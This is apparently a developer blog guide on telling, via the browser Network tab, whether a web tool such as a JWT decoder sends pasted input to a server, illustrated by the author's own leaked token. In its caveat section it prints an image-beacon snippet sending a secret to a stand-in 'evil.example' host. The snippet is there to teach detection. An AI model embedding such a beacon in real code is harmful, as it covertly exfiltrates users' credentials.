What 'Runs in Your Browser' Really Means for Your Data
The paste that should have ended my contract
A few years into freelancing, I was debugging a partner's payment webhook at two in the morning. Their callback was sending me a signed JWT, the signature wasn't validating, and I wanted to see the claims fast. So I did the thing I had done a hundred times: I searched "decode jwt online", clicked the first result, and pasted the token into the box. It decoded instantly. Problem half-solved.
Then my stomach dropped. That token was a live bearer credential for a sandbox that shared a secret with production. I had just pasted it into a stranger's web form. I opened the Network tab to see what the page had actually done with it, and there it was: a POST to their /api/decode endpoint, my token sitting in the request body in plain text. That token was now in someone else's server logs, possibly retained, possibly indexed, possibly read by whoever ran that site. I rotated the secret before I did anything else that night.
Nothing about that page warned me. It looked clean. It had ads, a privacy policy link, a reassuring lock icon in the address bar — and it shipped my credential to a server I knew nothing about. The lock icon only meant the transport was encrypted. It said nothing about where the data went. That night taught me to stop trusting the marketing copy on a tool's homepage and start verifying, with my own eyes, whether a tool sends my data anywhere at all.
This guide is the verification method I've used ever since. It takes about fifteen seconds, it works on any web tool, and it does not require you to trust a single word the tool's author wrote.
What "runs in your browser" actually means
When people say a tool is "client-side" or "local-first," they mean something specific and checkable: the work happens in JavaScript that is already loaded in the page, using the browser's built-in Web APIs, and no network request carries your input off your machine.
The browser ships a genuinely powerful standard library for this. A local-first tool decodes Base64 with atob, hashes with crypto.subtle.digest, reads a file you dropped in with FileReader, and encodes bytes with TextEncoder — all without touching the network. Here is what that pattern looks like in practice, a hash being computed entirely in-page:
// 100% local: no fetch, no XHR, no data leaves the tab.
async function sha256Local(text) {
const bytes = new TextEncoder().encode(text); // Web API
const digest = await crypto.subtle.digest('SHA-256', bytes); // Web API
return [...new Uint8Array(digest)]
.map(b => b.toString(16).padStart(2, '0'))
.join('');
}
// sha256Local("hello")
// -> "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824"
Every line of that runs on the CPU in front of you. The string never serializes into a request. Contrast it with the server-side shape, which is the pattern that caught me out:
// Server-side: your input is shipped off for processing.
async function decodeRemote(token) {
const res = await fetch('https://example.com/api/decode', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ token }) // <-- your credential, on the wire
});
return res.json();
}
The two are indistinguishable from the outside. Same input box, same output, same speed to a human. The only difference is that one fetch call — and you cannot see it by reading the page. You have to watch the network.
The fifteen-second verification, step by step
Here is the exact procedure. I'll use a hashing or JSON tool as the example, but it generalizes to anything.
- Open the tool's page in Chrome, Edge, or Firefox.
- Open DevTools:
F12, or right-click anywhere and choose Inspect. - Click the Network tab.
- In the filter bar, click Fetch/XHR. This hides images, fonts, and scripts so you only see data calls — the requests that could carry your input.
- Now click the trash-can / "Clear" icon so the list is empty. This is the step everyone skips, and skipping it ruins the test: the page's initial load legitimately fetches HTML, CSS, and JS, and you do not want that noise drowning the one request you care about.
- With the Network panel empty and recording, perform the action: paste your text, hit the encode/format/hash button.
- Watch the list.
The interpretation is binary. Zero new rows appear → the work happened locally. Your input never left the tab. A new POST (or GET with your data in the query string) appears → the tool is sending your input to a server, and you can click that row, open the Payload or Request sub-tab, and literally read your own data sitting in the request body.
When I run this on a tool I trust, like a local JSON formatter, I paste a chunk of customer JSON, click format, and the Network panel stays stubbornly empty. That emptiness is the proof. I do the same before I'll put any token into a JWT decoder: empty panel after pasting means the decode ran via atob and string transforms in the page, and my bearer token is still mine. Had I done this fifteen-second check that night at two in the morning, I'd have seen the POST before I typed a single character of the real token.
One concrete reading you'll want to recognize: in the Network panel, a local tool produces nothing after the initial page load settles. A server tool produces a row whose Initiator column points at the tool's own script, with a request payload that mirrors what you typed. If you see your password, your JSON, or your token echoed in that payload, close the tab.
Why a secure context is part of the story
There's a detail that surprises people the first time they hit it: some of these local Web APIs flatly refuse to run except over HTTPS or on localhost. crypto.subtle — the engine behind in-browser hashing — is gated behind what the spec calls a secure context. Load a hashing tool over plain http:// from a random IP and crypto.subtle will be undefined, and the tool either breaks or silently falls back to shipping your input to a server to do the work.
This is actually a useful signal. A serious local-first tool is served over HTTPS precisely because it needs the secure-context Web APIs to do the work on-device. The https:// isn't there to encrypt a trip to a server; there is no trip. It's there to unlock the local cryptography. So "HTTPS" and "local processing" aren't in tension — for these tools, HTTPS is a precondition for staying local.
FileReader deserves a mention too, because file tools scare people the most. When you drag an image into a local Base64 encoder, FileReader reads the bytes straight off your disk into the page's memory. There is no upload step. The file never becomes a multipart/form-data POST. You can confirm exactly this with the same Network check: drop the file, and if no request fires, the bytes never left your machine. I've verified this on file tools that handle documents I'd never dream of uploading to an unknown host.
The honest caveat: verify requests, not claims
I want to be straight about the limit of all this, because a guide that oversells its method is just another tool homepage making promises.
The Network-tab check proves what actually happened during your test — it does not prove what could happen. A genuinely malicious page could process your input locally and then exfiltrate it through a channel that doesn't show up where you're looking, or that you didn't think to watch. The classic trick is an image beacon: instead of a fetch, the script builds an Image and sets its src to a URL with your data smuggled into the query string.
// Sneaky exfiltration that is NOT a Fetch/XHR request.
new Image().src =
'https://evil.example/collect?d=' + encodeURIComponent(secret);
That request is an image load, not a Fetch/XHR call, so it hides if your filter is set to Fetch/XHR only. The defense is to widen the net: switch the Network filter to All (or Img) and look again, or simply scan the full request list for any outbound call to a domain that isn't the tool's own. A truly local tool talks to nothing after load. If you see a request to some analytics or "collect" endpoint firing the moment you paste, that's your answer regardless of how the request was dressed up.
This is the core discipline: trust the requests, not the claims. Every tool on earth will tell you it respects your privacy. The Network tab doesn't care what the tool says — it shows you what the tool did. A homepage banner saying "100% private, never leaves your browser" is marketing. An empty Network panel after you paste is evidence. They are not the same thing, and on the night I rotated that secret, I learned exactly how large the gap between them can be.
So before you paste anything you'd be unwilling to email to a stranger — a production token, customer PII, an API key, a chunk of internal JSON — spend the fifteen seconds. Open Network, filter, clear, paste, watch. If the panel stays empty, the tool earned your data. If a request fires, you just found out for free, instead of at two in the morning.
Tools used in this guide
- JSON Formatter — Paste JSON, validate it, format it with indentation, or minify it into compact output for APIs and config files.
- JWT Decoder — Paste a JSON Web Token and inspect its header, payload, and signature segment locally in your browser.